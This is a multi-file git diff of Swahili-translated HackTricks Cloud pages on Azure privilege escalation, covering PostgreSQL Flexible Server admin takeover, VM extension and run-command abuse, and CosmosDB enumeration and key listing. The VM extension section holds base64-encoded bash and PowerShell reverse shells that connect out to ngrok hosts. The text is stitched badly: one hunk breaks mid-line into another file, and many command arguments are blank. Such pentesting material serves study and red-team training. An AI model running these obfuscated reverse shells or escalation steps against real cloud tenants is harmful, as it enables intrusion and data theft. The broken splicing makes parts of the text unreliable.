+Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
+* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## PostgreSQL Privesc
+Kwa maelezo zaidi kuhusu SQL Database angalia:
+
+{% content-ref url="../az-services/az-postgresql.md" %}
+[az-postgresql.md](../az-services/az-postgresql.md)
+{% endcontent-ref %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
+
+Kwa ruhusa hii, unaweza kuunda, kusasisha, au kufuta mifano ya PostgreSQL Flexible Server kwenye Azure. Hii inajumuisha kutoa seva mpya, kubadilisha mipangilio ya seva zilizopo, au kufunga seva.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server create \
+--name \
+--resource-group \
+--location \
+--admin-user \
+--admin-password \
+--sku-name \
+--storage-size \
+--tier \
+--version
+```
+{% endcode %}
+
+Kwa mfano, ruhusa hizi zinaruhusu kubadilisha nenosiri la PostgreSQL, muhimu bila shaka katika kesi ambapo uthibitishaji wa PostgreSQL umewezeshwa.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server update \
+--resource-group \
+--name \
+--admin-password
+```
+{% endcode %}
+
+Zaidi ya hayo, ni muhimu kuwa na ufikiaji wa umma umewezeshwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server update --resource-group --server-name --public-access Enabled
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
+
+Kwa ruhusa hii, unaweza kuunda wasimamizi wa Azure Active Directory (AD) kwa seva ya PostgreSQL Flexible. Hii inaweza kutumiwa kwa kuweka mwenyewe au akaunti nyingine kama msimamizi wa AD, ikitoa udhibiti kamili wa usimamizi juu ya seva ya PostgreSQL. Kusasisha kiongozi aliye tayari hakusaidiwi bado hivyo ikiwa kuna mmoja aliyeundwa lazima uifute kwanza.
+
+Ni muhimu kwamba seva ya flexible-server iwe na utambulisho wa usimamizi wa mtumiaji aliyepewa matumizi.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server ad-admin create \
+--resource-group \
+--server-name \
+--display-name \
+--identity \
+--object-id
+```
+{% endcode %}
+
+{% hint style="success" %}
+Jifunze na fanya mazoezi ya AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Jifunze na fanya mazoezi ya GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
+* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
index f27887f0e..f426b1989 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
@@ -13,7 +13,7 @@ Kwa maelezo zaidi kuhusu Azure Virtual Machines na Network angalia:
### **`Microsoft.Compute/virtualMachines/extensions/write`**
Ruhusa hii inaruhusu kutekeleza nyongeza katika mashine za virtual ambazo zinaruhusu **kutekeleza msimbo wowote juu yao**.\
-Mfano wa kutumia nyongeza za kawaida kutekeleza amri zisizo za kawaida katika VM:
+Mfano wa kutumia nyongeza za kawaida kutekeleza amri za kawaida katika VM:
{{#tabs }}
{{#tab name="Linux" }}
@@ -34,7 +34,7 @@ az vm extension set \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
-- Tekeleza script iliyoko mtandaoni
+- Teua skripti iliyo kwenye mtandao
```bash
az vm extension set \
--resource-group rsc-group> \
@@ -65,7 +65,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
-- Tekeleza shell ya kurudi kutoka kwa faili
+- Tekelea shell ya kinyume kutoka kwa faili
```bash
az vm extension set \
--resource-group \
@@ -87,7 +87,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
{{#endtab }}
{{#endtabs }}
-Pia inawezekana kutumia nyongeza zinazojulikana vizuri ili kutekeleza msimbo au kufanya vitendo vya kibali ndani ya VMs:
+Pia inawezekana kutumia nyongeza zinazojulikana vizuri kutekeleza msimbo au kufanya vitendo vya kibali ndani ya VMs:
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
DesiredConfigurationState (DSC)
-Hii ni **VM extensio**n inayomilikiwa na Microsoft inayotumia PowerShell DSC kusimamia usanidi wa Azure Windows VMs. Hivyo, inaweza kutumika **kutekeleza amri za kawaida** katika Windows VMs kupitia nyongeza hii:
+Hii ni **VM extensio**n inayomilikiwa na Microsoft inayotumia PowerShell DSC kusimamia usanidi wa Azure Windows VMs. Hivyo, inaweza kutumika **kutekeleza amri zisizo na mipaka** katika Windows VMs kupitia nyongeza hii:
```powershell
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -157,15 +157,15 @@ Set-AzVMDscExtension `
Hybrid Runbook Worker
-Hii ni nyongeza ya VM ambayo itaruhusu kutekeleza runbooks katika VMs kutoka kwa akaunti ya automatisering. Kwa maelezo zaidi angalia huduma ya [Automation Accounts](../az-services/az-automation-account/).
+Hii ni nyongeza ya VM ambayo itaruhusu kutekeleza runbooks katika VMs kutoka kwa akaunti ya automatisering. Kwa maelezo zaidi angalia huduma ya [Automation Accounts](../az-services/az-automation-account/index.html).
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
-Hizi ndizo ruhusa zinazohitajika ili **kuunda programu mpya ya galleri na kuitekeleza ndani ya VM**. Programu za galleri zinaweza kutekeleza chochote hivyo mshambuliaji anaweza kutumia hii kuathiri mifano ya VM zinazotekeleza amri zisizo na mipaka.
+Hizi ni ruhusa zinazohitajika ili **kuunda programu mpya ya galleri na kuitekeleza ndani ya VM**. Programu za galleri zinaweza kutekeleza chochote hivyo mshambuliaji anaweza kutumia hii kuathiri mifano ya VM zinazotekeleza amri zisizo na mipaka.
-Ruhusa 2 za mwisho zinaweza kuepukwa kwa kushiriki programu hiyo na mpangaji.
+Ruhusa za mwisho 2 zinaweza kuepukwa kwa kushiriki programu hiyo na mpangaji.
Mfano wa unyakuzi wa kutekeleza amri zisizo na mipaka:
@@ -251,7 +251,7 @@ az vm application set \
### `Microsoft.Compute/virtualMachines/runCommand/action`
-Hii ndiyo njia ya msingi zaidi ambayo Azure inatoa ili **kutekeleza amri za kawaida katika VMs:**
+Hii ndiyo njia ya msingi zaidi ambayo Azure inatoa ili **kutekeleza amri za kiholela katika VMs:**
{{#tabs }}
{{#tab name="Linux" }}
@@ -310,7 +310,7 @@ Ingia kupitia **SSH** na **`az ssh vm --name --resource-group [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## Azure CosmosDB
+
+**Azure Cosmos DB** ni **hifadhidata ya NoSQL, ya uhusiano, na ya vector** inayosimamiwa kikamilifu inayo toa nyakati za majibu za milisekunde moja, upanuzi wa kiotomatiki, na upatikanaji unaoungwa mkono na SLA pamoja na usalama wa kiwango cha biashara. Inaruhusu maendeleo ya programu kwa haraka kupitia usambazaji wa data wa mikoa mingi, APIs za chanzo wazi, SDKs za lugha maarufu, na vipengele vya hifadhidata vya AI kama vile msaada wa vector uliojumuishwa na uunganisho usio na mshono wa Azure AI.
+
+Azure Cosmos DB inatoa APIs nyingi za hifadhidata ili kuunda mfano wa data halisi kwa kutumia nyaraka, uhusiano, modeli za data za funguo-thamani, grafu, na familia za safu, ambapo hizi APIs ni NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin na Table.
+
+Moja ya vipengele muhimu vya CosmosDB ni Akaunti ya Azure Cosmos. **Akaunti ya Azure Cosmos**, inafanya kazi kama lango la kuingia kwenye hifadhidata. Akaunti inamua mipangilio muhimu kama vile usambazaji wa kimataifa, viwango vya usawa, na API maalum itakayotumika, kama vile NoSQL. Kupitia akaunti, unaweza kuunda upya wa kimataifa ili kuhakikisha data inapatikana katika mikoa mingi kwa ufikiaji wa chini wa latency. Zaidi ya hayo, unaweza kuchagua kiwango cha usawa kinacholingana kati ya utendaji na usahihi wa data, ikiwa na chaguzi zinazotofautiana kutoka kwa Usawa Imara hadi Usawa wa Hatimaye.
+
+### NoSQL (sql)
+API ya Azure Cosmos DB NoSQL ni API inayotegemea nyaraka inayotumia JSON kama muundo wake wa data. Inatoa sintaksia ya kuhoji inayofanana na SQL kwa kuhoji vitu vya JSON, na kuifanya iweze kutumika kwa kazi na data iliyopangwa na semi-iliyopangwa. Kituo cha huduma ni:
+
+{% code overflow="wrap" %}
+```bash
+https://.documents.azure.com:443/
+```
+{% endcode %}
+
+#### Databases
+Katika akaunti, unaweza kuunda moja au zaidi ya hifadhidata, ambazo hutumikia kama makundi ya mantiki ya kontena. Hifadhidata inafanya kazi kama mpaka wa usimamizi wa rasilimali na ruhusa za mtumiaji. Hifadhidata zinaweza kushiriki kupitia uwezo wa kupangwa kati ya kontena zao au kugawa uwezo maalum kwa kontena binafsi.
+
+#### Containers
+Kitengo cha msingi cha uhifadhi wa data ni kontena, ambacho kinashikilia hati za JSON na kimepangwa kiotomatiki kwa ajili ya uchunguzi wa ufanisi. Kontena zinaweza kupanuliwa kwa urahisi na kusambazwa kati ya sehemu, ambazo zinatolewa na ufunguo wa sehemu ulioelezwa na mtumiaji. Ufunguo wa sehemu ni muhimu kwa kuhakikisha utendaji bora na usambazaji sawa wa data. Kwa mfano, kontena inaweza kuhifadhi data za wateja, huku "customerId" ikiwa kama ufunguo wa sehemu.
+
+#### Enumeration
+
+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
+```bash
+# CosmoDB Account
+## List Azure Cosmos DB database accounts.
+az cosmosdb list --resource-group
+az cosmosdb show --resource-group --name
+
+## Lists the virtual network accounts associated with a Cosmos DB account
+az cosmosdb network-rule list --resource-group --name
+## List the access keys or connection strings for a Azure Cosmos DB
+az cosmosdb keys list --name --resource-group
+## List all the database accounts that can be restored.
+az cosmosdb restorable-database-account list --account-name
+## Show the identities for a Azure Cosmos DB database account.
+az cosmosdb identity show --resource-group --name
+
+
+# CosmoDB (NoSQL)
+## List the SQL databases under an Azure Cosmos DB account.
+az cosmosdb sql database list --resource-group --account-name
+## List the SQL containers under an Azure Cosmos DB SQL database.
+az cosmosdb sql container list --account-name --database-name --resource-group
+
+## List all SQL role assignments under an Azure Cosmos DB
+az cosmosdb sql role assignment list --resource-group --account-name
+## List all SQL role definitions under an Azure Cosmos DB
+az cosmosdb sql role definition list --resource-group --account-name
+
+## List the SQL stored procedures under an Azure Cosmos DB
+az cosmosdb sql stored-procedure list --account-name --container-name --database-name --resource-group
+## List the SQL triggers under an Azure Cosmos DB SQL container.
+az cosmosdb sql trigger list --account-name --container-name --database-name --resource-group
+## List the SQL user defined functions under an Azure Cosmos DB SQL container
+az cosmosdb sql user-defined-function list --account-name --container-name --database-name --resource-group
+
+```
+{% endcode %}
+{% endtab %}
+
+{% tab title="Az PowerShell" %}
+{% code overflow="wrap" %}
+```powershell
+Get-Command -Module Az.CosmosD
+
+# List all Cosmos DB accounts in a specified resource group.
+Get-AzCosmosDBAccount -ResourceGroupName "